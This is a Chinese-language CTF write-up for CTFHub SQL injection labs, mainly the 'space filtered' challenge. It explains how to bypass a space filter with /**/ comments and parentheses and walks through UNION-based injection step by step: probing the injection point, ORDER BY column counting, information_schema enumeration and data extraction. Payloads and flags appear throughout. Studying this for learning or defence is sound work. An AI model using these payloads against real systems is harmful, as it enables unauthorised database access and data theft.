-1 union select 1,2# -1 union select 1,database()# -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'# -1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='btwxhomvyp'# -1 union select 1,group_concat(yipwyopqkv) from sqli.btwxhomvyp#

image-20251016161348706

image-20251016161406820

image-20251016161426748

image-20251016161454794

image-20251016161529852
flag

ctfhub{20dab816096ebb08dbf49f8a}

过滤空格

一、题目内容

image-20251016220804134
二、SQL注入空格过滤

MySQL 默认自带多个系统数据库,存储了数据库服务器的所有元数据(如数据库名、表名、字段名、用户权限等),是注入攻击的 “信息宝库”。攻击者通过查询这些数据库,可从 “无信息” 状态逐步获取完整的数据库结构,为后续脱库(窃取数据)铺垫。

1、注释符绕过 (/**/)

原理:利用数据库支持的多行注释语法 /* */ 来替代空格,SQL解析器会忽略注释内容但保持语句结构完整,使得 UNION/注释内容/SELECT 在实际执行时等价于 UNION SELECT,从而绕过对空格的检测和过滤,这种方法在大多数数据库中都有效且稳定可靠。

UNION/**/SELECT/**/1,2,3 SELECT/**/username,password/**/FROM/**/users

2、括号绕过

原理:通过添加多余的括号来分隔SQL关键字和标识符,数据库解析时会自动忽略这些不影响语义的括号,如 SELECT(username)FROM(users) 会被正确解析为 SELECT username FROM users,括号起到了替代空格的分隔作用同时避免了使用被过滤的空格字符。

SELECT(username),(password)FROM(users) UNION(SELECT(1),(2),(3))

3、URL编码绕过

除了标准的%20,不同场景下还存在其他可替代的 URL 编码形式,核心是利用 “后端解码后还原为空格或等效分隔符” 的特性。

三、UNION法注入步骤

寻找注入点: 通过提交测试Payload(如单引号或逻辑语句)观察页面反应,确认参数是否存在SQL注入风险并判断其类型(字符型/数值型)。 确定字段数: 使用ORDER BY子句逐次递增列数进行探测,当页面因超出实际列数而报错时,即可确定原始查询的字段数量。 探测回显点: 构造UNION SELECT语句并令原查询结果为空,观察页面中显示的数字位置,这些位置即为可用于回显数据的字段。 获取当前数据库基本信息: 在回显点位置替换为database()或version()等函数,从而获取当前数据库名称、版本等关键信息。 查询表名: 访问information_schema.tables系统表,查询并列出当前数据库中的所有表名,寻找可能存储目标数据的表。 查询列名: 针对已识别的目标表,查询information_schema.columns系统表,获取该表包含的所有列名结构。 提取最终数据: 直接查询目标表的目标列,将所需数据(如Flag)通过回显点输出到页面,完成整个联合注入攻击流程。

四、解题过程

image-20251016164452202
1.探测注入点

根据提示在页面输入1,此时URL的参数变为/?id=1,所以这里id就是注入点。

image-20251016165904840

使用1#进行渗透,在1后加上注释符#号,如下所示输出并未变化,说明要么#号被过滤掉,要么是数值型注入。

image-20251016170016963

使用1 and 1=1进行渗透,输入万能恒真注入语句 1 and 1=1 ,如下所示。

image-20251016170051386

很明显这个注入语句包含空格,本关卡提示空格被过滤掉,使用注释符/**/替换空格

1/**/and/**/1=1

image-20251016170140556

关注SQL语句的变化和返回结果,页面输出结果无变化,由于1=1恒真,这个语句与输入参数1时的查询效果一样,因此页面输出结果依旧是ID为1,Data为ctfhub。这条语句注入的核心目的是测试该参数是否存在SQL注入风险,如下所示运行结果与输入1的效果一样,说明有SQL注入风险,且为数值型注入。

2.探测注入方法

输入1',由于本关卡为数值型注入,试图通过引入特殊字符触发错误,若页面返回详细的数据库错误信息则证明存在SQL注入风险且未屏蔽错误。如下所示页面没有报错信息,无法使用报错法注入,故本关卡选择使用联合注入法渗透。

image-20251016170343125
3.确定列数

探查目标SQL查询结果返回的列数,这是为后续的UNION联合查询攻击做准备。我们使用 ORDER BY 子句进行探测。ORDER BY n 表示根据第n列进行排序,如果n超过实际列数,数据库将返回错误。我们从 ORDER BY 1 开始尝试,Payload:id=1 ORDER BY 1。页面正常显示则说明查询结果至少有一列。然后依次递增数字:ORDER BY 2, ORDER BY 3, ... 直至页面返回错误(如空白页、数据库报错信息)。

1 order by 1 #替换空格为/**/后 1/**/order/**/by/**/1

image-20251016170459662

1 order by 2 #替换空格为/**/后: 1/**/order/**/by/**/2

image-20251016170559812

1 order by 3 #替换空格为/**/后: 1/**/order/**/by/**/3

image-20251016170626929

综上所述,当 ORDER BY 3 时页面无返回值,而到 ORDER BY 2 正常,则表明当前查询结果的字段数为2列,说明后续UNION查询必须匹配相同的列数。

4.确定回显位

确定字段数为2后,我们使用UNION SELECT联合查询来确定哪些字段的内容会显示在网页上。构造Payload

-1/**/union/**/select/**/1,2

image-20251016170809163

这里将原始id值设为-1(一个不存在的值)是为了让原查询结果为空,从而确保页面显示的是我们UNION查询的结果。

仔细观察页面。页面ID处显示“1”,而另一处Data显示“2”,这意味着第1个和第2个字段的内容会被输出到页面上,这些位置就是“回显点”。这两个位置将作为我们后续提取数据库信息的窗口。

5.获取当前数据库名

找到回显点(第1和第2位)后,我们开始提取数据库的核心信息。首先,替换回显点位置为数据库函数。database() 函数将返回当前数据库名称,version() 返回数据库版本信息。

-1/**/union/**/select/**/database(),version()

image-20251016171018930

提交后,页面会在相应位置显示数据库名(‘sqli’)和版本(“10.3.22-MariaDB-0+deb10u1”)

6.获取数据库sqli所有表名

查询数据库sqli的所有表名。对于MySQL,信息模式库是information_schema.tables

#原始Payload: -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #替换空格为/**/后: -1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()

image-20251016171142988
7.查询表有哪些字段

使用information_schema.columns探查flag表包含哪些字段(列)

#原始Payload: -1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='bnxrswdcsb' #替换空格为/**/后: -1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='bnxrswdcsb'

image-20251016171309524
8.提取内容值

#原始Payload: -1 union select 1, ilsvheksai from bnxrswdcsb #替换空格为/**/后: -1/**/union/**/select/**/1,wgjxqqacvb/**/from/**/bnxrswdcsb

image-20251016171434632
flag

ctfhub{c261354b88718e0859454c98}

Read more

【实战】Windows 下为 Stable Diffusion WebUI 编译 Flash-Attention 2.8.0 专属 Wheel(RTX 3090 sm_86)

【实战】Windows 下为 Stable Diffusion WebUI 编译 Flash-Attention 2.8.0 专属 Wheel(RTX 3090 sm_86)

【实战】Windows 下为 Stable Diffusion WebUI 编译 Flash-Attention 2.8.0 专属 Wheel(RTX 3090 sm_86) 系列:Windows AI 环境 “没有轮子(.whl)就自己造” 从零到一 · 第 N 期 难度:⭐⭐⭐⭐ 适用场景:SD WebUI + xformers 0.0.31.post1 + flash-attn 版本冲突修复 适用场景:其他版本的 Flash-Attention 编译实战请见文末引用链接 一、背景与问题描述 彻底解决 Stable Diffusion WebUI 启动报错:

从部署到运行:Qwen3Guard-Gen-WEB全流程图文指南

从部署到运行:Qwen3Guard-Gen-WEB全流程图文指南 在AI生成内容爆发式增长的当下,如何确保输出内容的安全合规,已成为开发者和企业无法回避的核心问题。阿里云推出的 Qwen3Guard-Gen-WEB 镜像,正是为解决这一痛点而生——它集成了基于Qwen3架构的安全审核模型,支持多语言、三级风险分类,并通过网页界面实现零门槛使用。 本文将带你从零开始,完整走通 Qwen3Guard-Gen-WEB 的部署、启动与实际推理全过程,配有详细步骤截图和操作说明,即使是技术新手也能轻松上手。 1. 准备工作:了解镜像核心能力 在开始之前,先明确这个镜像能做什么: * 安全内容识别:自动判断输入文本是否包含违法、违规或敏感信息 * 三级风险分级:输出“安全”、“有争议”、“不安全”三种结果,便于差异化处理 * 多语言支持:覆盖119种语言和方言,适合全球化应用场景 * 本地化部署:数据不出私网,保障隐私与合规性 * Web交互界面:无需编写代码,直接在浏览器中完成测试 该镜像基于 Qwen3Guard-Gen 系列模型构建,专用于内容安全场景,不追求生成能力

Python 项目实战系列 — (6)企业级 Python 项目模板(Serverless / Web)

Python 项目实战系列 — (6)企业级 Python 项目模板(Serverless / Web)

目录 一、整体设计目标(企业级) 二、模板一:企业级 Serverless Python 项目(AWS) 1️⃣ 技术选型(标准化) 2️⃣ 目录结构 3️⃣ template.yaml(最小可运行) 4️⃣ Lambda 入口(app.py) 5️⃣ 路由分发(router.py) 6️⃣ 依赖文件(requirements) 7️⃣ 本地运行(开发必做) 8️⃣ 部署(一条命令) 三、模板二:企业级 Web Python 项目(FastAPI) 1️⃣ 技术选型 2️⃣ 目录结构(企业标准)

告别手动审核!用Qwen3Guard-Gen-WEB实现自动化内容过滤

告别手动审核!用Qwen3Guard-Gen-WEB实现自动化内容过滤 在内容爆炸的时代,每天有数以亿计的文本、评论、客服对话、营销文案涌入平台。人工审核早已不堪重负:效率低、成本高、标准难统一、响应不及时——更关键的是,它根本跟不上对抗性提示、语义隐喻和跨文化表达带来的新型风险。你是否也经历过这样的场景:一条看似中性的提问,被模型生成出违规结论;一段多语言混杂的用户反馈,因规则引擎漏判而引发舆情危机;又或者,客服系统刚上线三天,就被测试人员用“绕过审查”的话术成功诱导出不当回答? Qwen3Guard-Gen-WEB 不是又一个需要写代码、调接口、配参数的安全插件。它是一套开箱即用的可视化内容安全中枢——部署完成,打开网页,粘贴文字,三秒内返回带解释的风险判断。没有Prompt工程门槛,不依赖开发资源,连非技术的内容运营同事也能独立完成每日千条内容的合规初筛。 这不是理想化的概念演示,而是已在多个内容平台、智能客服中稳定运行的生产级方案。它背后是阿里通义团队基于119万条高质量安全标注数据训练出的生成式审核模型,将“是否安全”这个分类问题,重构为一次自然、可读、可追溯的推理过程